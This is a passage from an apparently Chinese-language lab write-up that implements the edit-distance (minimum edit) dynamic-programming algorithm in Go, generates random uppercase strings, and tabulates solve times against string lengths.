class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token keyword">for</span> j <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> n<span class="token punctuation">;</span> j<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 横着填</span>            <span class="token keyword">if</span> word1<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">==</span> word2<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">//如果第i个相等</span>                dp<span class="token punctuation">[</span>i<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span>            <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>                dp<span class="token punctuation">[</span>i<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">Min</span><span class="token punctuation">(</span>dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token function">Min</span><span class="token punctuation">(</span>dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> dp<span class="token punctuation">[</span>i<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span> <span class="token comment" spellcheck="true">//上方 右方 斜方 最小值 + 1</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre></li><li><p>随机长度的字符串生成</p><pre class=" language-go"><code class="language-go"><span class="token keyword">const</span> char <span class="token operator">=</span> <span class="token string">"ABCDEFGHIJKLMNOPQRSTUVWXYZ"</span><span class="token keyword">func</span> <span class="token function">RandomStr</span><span class="token punctuation">(</span><span class="token builtin">len</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">string</span> <span class="token punctuation">{</span>    <span class="token keyword">var</span> str <span class="token builtin">string</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token builtin">len</span><span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>        random <span class="token operator">:=</span> rand<span class="token punctuation">.</span><span class="token function">Int</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">26</span> <span class="token comment" spellcheck="true">//大写字母65-90</span>        strTemp <span class="token operator">:=</span> char<span class="token punctuation">[</span>random<span class="token punctuation">]</span>        str <span class="token operator">=</span> str <span class="token operator">+</span> <span class="token function">string</span><span class="token punctuation">(</span>strTemp<span class="token punctuation">)</span>    <span class="token punctuation">}</span>    <span class="token keyword">return</span> str<span class="token punctuation">}</span></code></pre></li></ul></li><li><p>总代码</p><pre class=" language-go"><code class="language-go"><span class="token keyword">package</span> main<span class="token keyword">import</span> <span class="token punctuation">(</span>    <span class="token string">"fmt"</span>    <span class="token string">"math/rand"</span>    <span class="token string">"time"</span><span class="token punctuation">)</span><span class="token keyword">var</span> dp <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token keyword">const</span> char <span class="token operator">=</span> <span class="token string">"ABCDEFGHIJKLMNOPQRSTUVWXYZ"</span><span class="token keyword">func</span> <span class="token function">RandomStr</span><span class="token punctuation">(</span><span class="token builtin">len</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">string</span> <span class="token punctuation">{</span>    <span class="token keyword">var</span> str <span class="token builtin">string</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token builtin">len</span><span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>        random <span class="token operator">:=</span> rand<span class="token punctuation">.</span><span class="token function">Int</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">26</span> <span class="token comment" spellcheck="true">//大写字母65-90</span>        strTemp <span class="token operator">:=</span> char<span class="token punctuation">[</span>random<span class="token punctuation">]</span>        str <span class="token operator">=</span> str <span class="token operator">+</span> <span class="token function">string</span><span class="token punctuation">(</span>strTemp<span class="token punctuation">)</span>    <span class="token punctuation">}</span>    <span class="token keyword">return</span> str<span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">RandInt</span><span class="token punctuation">(</span>min<span class="token punctuation">,</span> max <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">int</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">//生成随机数</span>    <span class="token keyword">if</span> min <span class="token operator">>=</span> max <span class="token operator">||</span> min <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">||</span> max <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> max    <span class="token punctuation">}</span>    <span class="token keyword">return</span> rand<span class="token punctuation">.</span><span class="token function">Intn</span><span class="token punctuation">(</span>max<span class="token operator">-</span>min<span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token comment" spellcheck="true">//var (</span>    <span class="token comment" spellcheck="true">//    S1 string</span>    <span class="token comment" spellcheck="true">//    S2 string</span>    <span class="token comment" spellcheck="true">//)</span>    <span class="token comment" spellcheck="true">//fmt.Printf("S1=")</span>    <span class="token comment" spellcheck="true">//fmt.Scanln(&amp;S1)</span>    <span class="token comment" spellcheck="true">//fmt.Printf("S2=")</span>    <span class="token comment" spellcheck="true">//fmt.Scanln(&amp;S2)</span>    <span class="token comment" spellcheck="true">//minDistance(S1, S2)</span>    fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span><span class="token string">"m\tn\tm*n\t求解用时"</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">1000</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token number">3000</span><span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> i<span class="token operator">%</span><span class="token number">10</span> <span class="token operator">!=</span> <span class="token number">0</span> <span class="token punctuation">{</span>            <span class="token keyword">continue</span>        <span class="token punctuation">}</span>        str1Len <span class="token operator">:=</span> <span class="token function">RandInt</span><span class="token punctuation">(</span>i<span class="token number">-500</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span>        str1 <span class="token operator">:=</span> <span class="token function">RandomStr</span><span class="token punctuation">(</span>str1Len<span class="token punctuation">)</span>        str2Len <span class="token operator">:=</span> <span class="token function">RandInt</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> i<span class="token operator">+</span><span class="token number">500</span><span class="token punctuation">)</span>        str2 <span class="token operator">:=</span> <span class="token function">RandomStr</span><span class="token punctuation">(</span>str2Len<span class="token punctuation">)</span>        startTime <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Now</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        time<span class="token punctuation">.</span><span class="token function">Sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token function">minDistance</span><span class="token punctuation">(</span>str1<span class="token punctuation">,</span> str2<span class="token punctuation">)</span>        sinceTime <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Since</span><span class="token punctuation">(</span>startTime<span class="token punctuation">)</span>        fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span>str1Len<span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> str2Len<span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> str1Len<span class="token operator">*</span>str2Len<span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> sinceTime<span class="token punctuation">)</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">Min</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> y <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">int</span> <span class="token punctuation">{</span>    <span class="token keyword">if</span> x <span class="token operator">&lt;=</span> y <span class="token punctuation">{</span>        <span class="token keyword">return</span> x    <span class="token punctuation">}</span>    <span class="token keyword">return</span> y<span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">minDistance</span><span class="token punctuation">(</span>word1 <span class="token builtin">string</span><span class="token punctuation">,</span> word2 <span class="token builtin">string</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    m <span class="token operator">:=</span> <span class="token function">len</span><span class="token punctuation">(</span>word1<span class="token punctuation">)</span>    n <span class="token operator">:=</span> <span class="token function">len</span><span class="token punctuation">(</span>word2<span class="token punctuation">)</span>    dp <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> m<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> m<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>        dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>    <span class="token punctuation">}</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> m<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 列初始化</span>        dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> i    <span class="token punctuation">}</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 行初始化</span>        dp<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> i    <span class="token punctuation">}</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> m<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token keyword">for</span> j <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> n<span class="token punctuation">;</span> j<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 横着填</span>            <span class="token keyword">if</span> word1<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">==</span> word2<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">//如果第i个相等</span>                dp<span class="token punctuation">[</span>i<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span>            <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>                dp<span class="token punctuation">[</span>i<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">Min</span><span class="token punctuation">(</span>dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token function">Min</span><span class="token punctuation">(</span>dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> dp<span class="token punctuation">[</span>i<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span> <span class="token comment" spellcheck="true">//上方 右方 斜方 最小值 + 1</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token comment" spellcheck="true">//func solve(m int, n int) {</span><span class="token comment" spellcheck="true">//    if m == 0 || n == 0 {</span><span class="token comment" spellcheck="true">//        os.Exit(0)</span><span class="token comment" spellcheck="true">//    }</span><span class="token comment" spellcheck="true">//    if dp[m][n] == (dp[m-1][n] + 1) {</span><span class="token comment" spellcheck="true">//        fmt.Printf("S1第%d删除\n", m) // 上方</span><span class="token comment" spellcheck="true">//        solve(m-1, n)</span><span class="token comment" spellcheck="true">//    }</span><span class="token comment" spellcheck="true">//    if dp[m][n] == (dp[m][n-1] + 1) {</span><span class="token comment" spellcheck="true">//        fmt.Printf("S1第%d插入S2第%d位字母\n", m, n) //左侧</span><span class="token comment" spellcheck="true">//</span><span class="token comment" spellcheck="true">//        solve(m, n-1)</span><span class="token comment" spellcheck="true">//    }</span><span class="token comment" spellcheck="true">//    if dp[m][n] == dp[m-1][n-1] {</span><span class="token comment" spellcheck="true">//        //字符串相等什么也不用做</span><span class="token comment" spellcheck="true">//        solve(m-1, n-1)</span><span class="token comment" spellcheck="true">//    }</span><span class="token comment" spellcheck="true">//    if dp[m][n] == (dp[m-1][n-1] + 1) {</span><span class="token comment" spellcheck="true">//        //替换</span><span class="token comment" spellcheck="true">//        fmt.Printf("S1第%d替换为S2第%d位字母\n", m, n)</span><span class="token comment" spellcheck="true">//        solve(m-1, n-1)</span><span class="token comment" spellcheck="true">//    }</span><span class="token comment" spellcheck="true">//}</span></code></pre></li></ol><h3 id="实验结果-2"><a href="#实验结果-2" class="headerlink" title="实验结果"></a>实验结果</h3><h4 id="程序运行结果-1"><a href="#程序运行结果-1" class="headerlink" title="程序运行结果"></a>程序运行结果</h4><p>m与n的差距很小时</p><table><thead><tr><th>m</th><th>n</th><th>m*n</th><th>求解用时</th></tr></thead><tbody><tr><td>991</td><td>993</td><td>984063</td><td>5.9836ms</td></tr><tr><td>1009</td><td>1000</td><td>1009000</td><td>4.9882ms</td></tr><tr><td>1015</td><td>1017</td><td>1032255</td><td>3.9915ms</td></tr><tr><td>1024</td><td>1024</td><td>1048576</td><td>4.9867ms</td></tr><tr><td>1038</td><td>1030</td><td>1069140</td><td>5.9849ms</td></tr><tr><td>1042</td><td>1040</td><td>1083680</td><td>4.0141ms</td></tr><tr><td>1051</td><td>1053</td><td>1106703</td><td>3.9647ms</td></tr><tr><td>1063</td><td>1064</td><td>1131032</td><td>3.9883ms</td></tr><tr><td>1072</td><td>1074</td><td>1151328</td><td>4.0261ms</td></tr><tr><td>1089</td><td>1081</td><td>1177209</td><td>4.9821ms</td></tr><tr><td>1095</td><td>1094</td><td>1197930</td><td>3.9911ms</td></tr><tr><td>1109</td><td>1107</td><td>1227663</td><td>4.953ms</td></tr><tr><td>1112</td><td>1112</td><td>1236544</td><td>3.9907ms</td></tr><tr><td>1124</td><td>1128</td><td>1267872</td><td>4.9856ms</td></tr><tr><td>1133</td><td>1139</td><td>1290487</td><td>4.9878ms</td></tr><tr><td>1141</td><td>1148</td><td>1309868</td><td>4.02ms</td></tr><tr><td>1150</td><td>1151</td><td>1323650</td><td>3.949ms</td></tr><tr><td>1161</td><td>1165</td><td>1352565</td><td>3.9538ms</td></tr><tr><td>1174</td><td>1171</td><td>1374754</td><td>4.9875ms</td></tr><tr><td>1185</td><td>1186</td><td>1405410</td><td>3.989ms</td></tr><tr><td>1193</td><td>1196</td><td>1426828</td><td>3.989ms</td></tr><tr><td>1201</td><td>1208</td><td>1450808</td><td>7.9625ms</td></tr><tr><td>1210</td><td>1214</td><td>1468940</td><td>5.9884ms</td></tr><tr><td>1226</td><td>1225</td><td>1501850</td><td>7.0111ms</td></tr><tr><td>1232</td><td>1239</td><td>1526448</td><td>5.9848ms</td></tr><tr><td>1246</td><td>1243</td><td>1548778</td><td>5.9737ms</td></tr><tr><td>1250</td><td>1253</td><td>1566250</td><td>4.999ms</td></tr><tr><td>1265</td><td>1262</td><td>1596430</td><td>4.9869ms</td></tr><tr><td>1276</td><td>1273</td><td>1624348</td><td>6.9824ms</td></tr><tr><td>1284</td><td>1289</td><td>1655076</td><td>6.9804ms</td></tr><tr><td>1299</td><td>1295</td><td>1682205</td><td>6.9829ms</td></tr><tr><td>1302</td><td>1301</td><td>1693902</td><td>5.9517ms</td></tr><tr><td>1312</td><td>1318</td><td>1729216</td><td>6.9807ms</td></tr><tr><td>1320</td><td>1324</td><td>1747680</td><td>4.9858ms</td></tr><tr><td>1331</td><td>1337</td><td>1779547</td><td>6.9828ms</td></tr><tr><td>1344</td><td>1345</td><td>1807680</td><td>5.984ms</td></tr><tr><td>1351</td><td>1354</td><td>1829254</td><td>5.9812ms</td></tr><tr><td>1366</td><td>1360</td><td>1857760</td><td>8.5188ms</td></tr><tr><td>1378</td><td>1378</td><td>1898884</td><td>6.9794ms</td></tr><tr><td>1385</td><td>1388</td><td>1922380</td><td>7.9879ms</td></tr><tr><td>1390</td><td>1397</td><td>1941830</td><td>6.9724ms</td></tr><tr><td>1404</td><td>1403</td><td>1969812</td><td>8.9748ms</td></tr><tr><td>1413</td><td>1416</td><td>2000808</td><td>8.0117ms</td></tr><tr><td>1427</td><td>1428</td><td>2037756</td><td>8.9748ms</td></tr><tr><td>1434</td><td>1434</td><td>2056356</td><td>6.9812ms</td></tr><tr><td>1446</td><td>1442</td><td>2085132</td><td>8.9976ms</td></tr><tr><td>1451</td><td>1457</td><td>2114107</td><td>8.9695ms</td></tr><tr><td>1461</td><td>1465</td><td>2140365</td><td>9.0067ms</td></tr><tr><td>1471</td><td>1477</td><td>2172667</td><td>10.9716ms</td></tr><tr><td>1482</td><td>1489</td><td>2206698</td><td>7.9463ms</td></tr><tr><td>1496</td><td>1492</td><td>2232032</td><td>8.014ms</td></tr><tr><td>1508</td><td>1500</td><td>2262000</td><td>7.9484ms</td></tr><tr><td>1517</td><td>1513</td><td>2295221</td><td>7.977ms</td></tr><tr><td>1522</td><td>1527</td><td>2324094</td><td>7.9784ms</td></tr><tr><td>1535</td><td>1530</td><td>2348550</td><td>9.0084ms</td></tr><tr><td>1546</td><td>1543</td><td>2385478</td><td>8.9439ms</td></tr><tr><td>1553</td><td>1555</td><td>2414915</td><td>9.9936ms</td></tr><tr><td>1566</td><td>1565</td><td>2450790</td><td>8.013ms</td></tr><tr><td>1575</td><td>1572</td><td>2475900</td><td>11.0009ms</td></tr><tr><td>1589</td><td>1587</td><td>2521743</td><td>8.9439ms</td></tr><tr><td>1595</td><td>1598</td><td>2548810</td><td>7.9773ms</td></tr><tr><td>1607</td><td>1604</td><td>2577628</td><td>8.9836ms</td></tr><tr><td>1611</td><td>1610</td><td>2593710</td><td>8.9728ms</td></tr><tr><td>1624</td><td>1626</td><td>2640624</td><td>11.0018ms</td></tr><tr><td>1634</td><td>1638</td><td>2676492</td><td>9.9754ms</td></tr><tr><td>1649</td><td>1640</td><td>2704360</td><td>8.9409ms</td></tr><tr><td>1654</td><td>1654</td><td>2735716</td><td>11.0007ms</td></tr><tr><td>1666</td><td>1668</td><td>2778888</td><td>11.9368ms</td></tr><tr><td>1679</td><td>1677</td><td>2815683</td><td>10.9791ms</td></tr><tr><td>1686</td><td>1680</td><td>2832480</td><td>9.9979ms</td></tr><tr><td>1693</td><td>1694</td><td>2867942</td><td>10.9407ms</td></tr><tr><td>1708</td><td>1704</td><td>2910432</td><td>11.9653ms</td></tr><tr><td>1713</td><td>1711</td><td>2930943</td><td>10.9746ms</td></tr><tr><td>1722</td><td>1721</td><td>2963562</td><td>9.9731ms</td></tr><tr><td>1733</td><td>1734</td><td>3005022</td><td>10.0068ms</td></tr><tr><td>1742</td><td>1743</td><td>3036306</td><td>9.9704ms</td></tr><tr><td>1751</td><td>1754</td><td>3071254</td><td>10.9764ms</td></tr><tr><td>1762</td><td>1763</td><td>3106406</td><td>9.9772ms</td></tr><tr><td>1777</td><td>1774</td><td>3152398</td><td>12.0012ms</td></tr><tr><td>1784</td><td>1781</td><td>3177304</td><td>10.9378ms</td></tr><tr><td>1796</td><td>1790</td><td>3214840</td><td>12.0007ms</td></tr><tr><td>1807</td><td>1800</td><td>3252600</td><td>14.9262ms</td></tr><tr><td>1810</td><td>1816</td><td>3286960</td><td>13.9607ms</td></tr><tr><td>1829</td><td>1827</td><td>3341583</td><td>19.9472ms</td></tr><tr><td>1838</td><td>1838</td><td>3378244</td><td>15.9591ms</td></tr><tr><td>1841</td><td>1849</td><td>3404009</td><td>16.9469ms</td></tr><tr><td>1857</td><td>1851</td><td>3437307</td><td>12.966ms</td></tr><tr><td>1864</td><td>1860</td><td>3467040</td><td>12.9634ms</td></tr><tr><td>1879</td><td>1877</td><td>3526883</td><td>11.9607ms</td></tr><tr><td>1883</td><td>1889</td><td>3556987</td><td>14.9607ms</td></tr><tr><td>1896</td><td>1893</td><td>3589128</td><td>12.9653ms</td></tr><tr><td>1902</td><td>1900</td><td>3613800</td><td>14.9925ms</td></tr><tr><td>1910</td><td>1917</td><td>3661470</td><td>13.9315ms</td></tr><tr><td>1927</td><td>1929</td><td>3717183</td><td>15.9907ms</td></tr><tr><td>1934</td><td>1935</td><td>3742290</td><td>14.957ms</td></tr><tr><td>1942</td><td>1941</td><td>3769422</td><td>15.9907ms</td></tr><tr><td>1953</td><td>1956</td><td>3820068</td><td>14.928ms</td></tr><tr><td>1960</td><td>1969</td><td>3859240</td><td>16.9545ms</td></tr><tr><td>1975</td><td>1970</td><td>3890750</td><td>13.994ms</td></tr><tr><td>1989</td><td>1984</td><td>3946176</td><td>16.9555ms</td></tr><tr><td>1991</td><td>1991</td><td>3964081</td><td>14.9637ms</td></tr><tr><td>2000</td><td>2009</td><td>4018000</td><td>15.9232ms</td></tr><tr><td>2019</td><td>2018</td><td>4074342</td><td>14.9946ms</td></tr><tr><td>2025</td><td>2028</td><td>4106700</td><td>15.9576ms</td></tr><tr><td>2033</td><td>2038</td><td>4143254</td><td>13.9947ms</td></tr><tr><td>2046</td><td>2043</td><td>4179978</td><td>14.9275ms</td></tr><tr><td>2057</td><td>2059</td><td>4235363</td><td>16.9872ms</td></tr><tr><td>2066</td><td>2065</td><td>4266290</td><td>17.9765ms</td></tr><tr><td>2075</td><td>2070</td><td>4295250</td><td>17.95ms</td></tr><tr><td>2084</td><td>2083</td><td>4340972</td><td>15.9883ms</td></tr><tr><td>2092</td><td>2092</td><td>4376464</td><td>18.9497ms</td></tr><tr><td>2103</td><td>2106</td><td>4428918</td><td>15.9484ms</td></tr><tr><td>2110</td><td>2118</td><td>4468980</td><td>17.9501ms</td></tr><tr><td>2120</td><td>2127</td><td>4509240</td><td>15.9526ms</td></tr><tr><td>2135</td><td>2138</td><td>4564630</td><td>15.956ms</td></tr><tr><td>2143</td><td>2142</td><td>4590306</td><td>15.9922ms</td></tr><tr><td>2159</td><td>2155</td><td>4652645</td><td>15.9917ms</td></tr><tr><td>2168</td><td>2165</td><td>4693720</td><td>16.9518ms</td></tr><tr><td>2176</td><td>2179</td><td>4741504</td><td>15.9887ms</td></tr><tr><td>2180</td><td>2185</td><td>4763300</td><td>16.9602ms</td></tr><tr><td>2199</td><td>2190</td><td>4815810</td><td>20.9522ms</td></tr><tr><td>2205</td><td>2200</td><td>4851000</td><td>17.9317ms</td></tr><tr><td>2219</td><td>2216</td><td>4917304</td><td>18.9519ms</td></tr><tr><td>2228</td><td>2225</td><td>4957300</td><td>16.9224ms</td></tr><tr><td>2235</td><td>2232</td><td>4988520</td><td>19.947ms</td></tr><tr><td>2241</td><td>2247</td><td>5035527</td><td>16.9559ms</td></tr><tr><td>2251</td><td>2259</td><td>5085009</td><td>17.953ms</td></tr><tr><td>2265</td><td>2261</td><td>5121165</td><td>18.9498ms</td></tr><tr><td>2278</td><td>2272</td><td>5175616</td><td>16.954ms</td></tr><tr><td>2282</td><td>2285</td><td>5214370</td><td>16.9544ms</td></tr><tr><td>2298</td><td>2298</td><td>5280804</td><td>20.9427ms</td></tr><tr><td>2308</td><td>2309</td><td>5329172</td><td>19.8551ms</td></tr><tr><td>2316</td><td>2313</td><td>5356908</td><td>19.9456ms</td></tr><tr><td>2327</td><td>2321</td><td>5400967</td><td>20.9445ms</td></tr><tr><td>2336</td><td>2335</td><td>5454560</td><td>21.9404ms</td></tr><tr><td>2349</td><td>2345</td><td>5508405</td><td>19.9447ms</td></tr><tr><td>2357</td><td>2355</td><td>5550735</td><td>18.9478ms</td></tr><tr><td>2362</td><td>2368</td><td>5593216</td><td>18.9479ms</td></tr><tr><td>2371</td><td>2374</td><td>5628754</td><td>18.951ms</td></tr><tr><td>2389</td><td>2380</td><td>5685820</td><td>18.9498ms</td></tr><tr><td>2392</td><td>2391</td><td>5719272</td><td>20.4511ms</td></tr><tr><td>2401</td><td>2402</td><td>5767202</td><td>21.9436ms</td></tr><tr><td>2418</td><td>2416</td><td>5841888</td><td>22.9362ms</td></tr><tr><td>2427</td><td>2421</td><td>5875767</td><td>24.9316ms</td></tr><tr><td>2433</td><td>2436</td><td>5926788</td><td>23.9375ms</td></tr><tr><td>2443</td><td>2443</td><td>5968249</td><td>24.916ms</td></tr><tr><td>2456</td><td>2457</td><td>6034392</td><td>22.9317ms</td></tr><tr><td>2461</td><td>2460</td><td>6054060</td><td>22.9386ms</td></tr><tr><td>2474</td><td>2473</td><td>6118202</td><td>21.9389ms</td></tr><tr><td>2487</td><td>2480</td><td>6167760</td><td>21.94ms</td></tr><tr><td>2490</td><td>2499</td><td>6222510</td><td>22.9383ms</td></tr><tr><td>2500</td><td>2504</td><td>6260000</td><td>22.9394ms</td></tr><tr><td>2511</td><td>2514</td><td>6312654</td><td>25.9297ms</td></tr><tr><td>2523</td><td>2522</td><td>6363006</td><td>21.9438ms</td></tr><tr><td>2535</td><td>2535</td><td>6426225</td><td>26.896ms</td></tr><tr><td>2546</td><td>2540</td><td>6466840</td><td>21.9792ms</td></tr><tr><td>2551</td><td>2556</td><td>6520356</td><td>21.9487ms</td></tr><tr><td>2561</td><td>2569</td><td>6579209</td><td>23.905ms</td></tr><tr><td>2570</td><td>2576</td><td>6620320</td><td>23.935ms</td></tr><tr><td>2585</td><td>2585</td><td>6682225</td><td>24.9638ms</td></tr><tr><td>2598</td><td>2590</td><td>6728820</td><td>23.9084ms</td></tr><tr><td>2603</td><td>2608</td><td>6788624</td><td>24.9604ms</td></tr><tr><td>2614</td><td>2617</td><td>6840838</td><td>24.8999ms</td></tr><tr><td>2622</td><td>2625</td><td>6882750</td><td>24.9339ms</td></tr><tr><td>2637</td><td>2635</td><td>6948495</td><td>22.8962ms</td></tr><tr><td>2646</td><td>2648</td><td>7006608</td><td>23.9356ms</td></tr><tr><td>2650</td><td>2657</td><td>7041050</td><td>22.9679ms</td></tr><tr><td>2666</td><td>2666</td><td>7107556</td><td>23.9658ms</td></tr><tr><td>2677</td><td>2674</td><td>7158298</td><td>24.9051ms</td></tr><tr><td>2685</td><td>2684</td><td>7206540</td><td>25.9515ms</td></tr><tr><td>2699</td><td>2696</td><td>7276504</td><td>26.9307ms</td></tr><tr><td>2700</td><td>2700</td><td>7290000</td><td>25.9568ms</td></tr><tr><td>2716</td><td>2710</td><td>7360360</td><td>27.9266ms</td></tr><tr><td>2729</td><td>2729</td><td>7447441</td><td>26.9244ms</td></tr><tr><td>2736</td><td>2735</td><td>7482960</td><td>27.9305ms</td></tr><tr><td>2745</td><td>2749</td><td>7546005</td><td>27.9218ms</td></tr><tr><td>2751</td><td>2754</td><td>7576254</td><td>31.9322ms</td></tr><tr><td>2761</td><td>2761</td><td>7623121</td><td>27.9239ms</td></tr><tr><td>2772</td><td>2771</td><td>7681212</td><td>31.8898ms</td></tr><tr><td>2784</td><td>2787</td><td>7759008</td><td>26.93ms</td></tr><tr><td>2793</td><td>2793</td><td>7800849</td><td>28.916ms</td></tr><tr><td>2802</td><td>2800</td><td>7845600</td><td>29.8895ms</td></tr><tr><td>2816</td><td>2819</td><td>7938304</td><td>28.9011ms</td></tr><tr><td>2826</td><td>2824</td><td>7980624</td><td>27.891ms</td></tr><tr><td>2830</td><td>2835</td><td>8023050</td><td>30.988ms</td></tr><tr><td>2846</td><td>2848</td><td>8105408</td><td>29.8887ms</td></tr><tr><td>2858</td><td>2856</td><td>8162448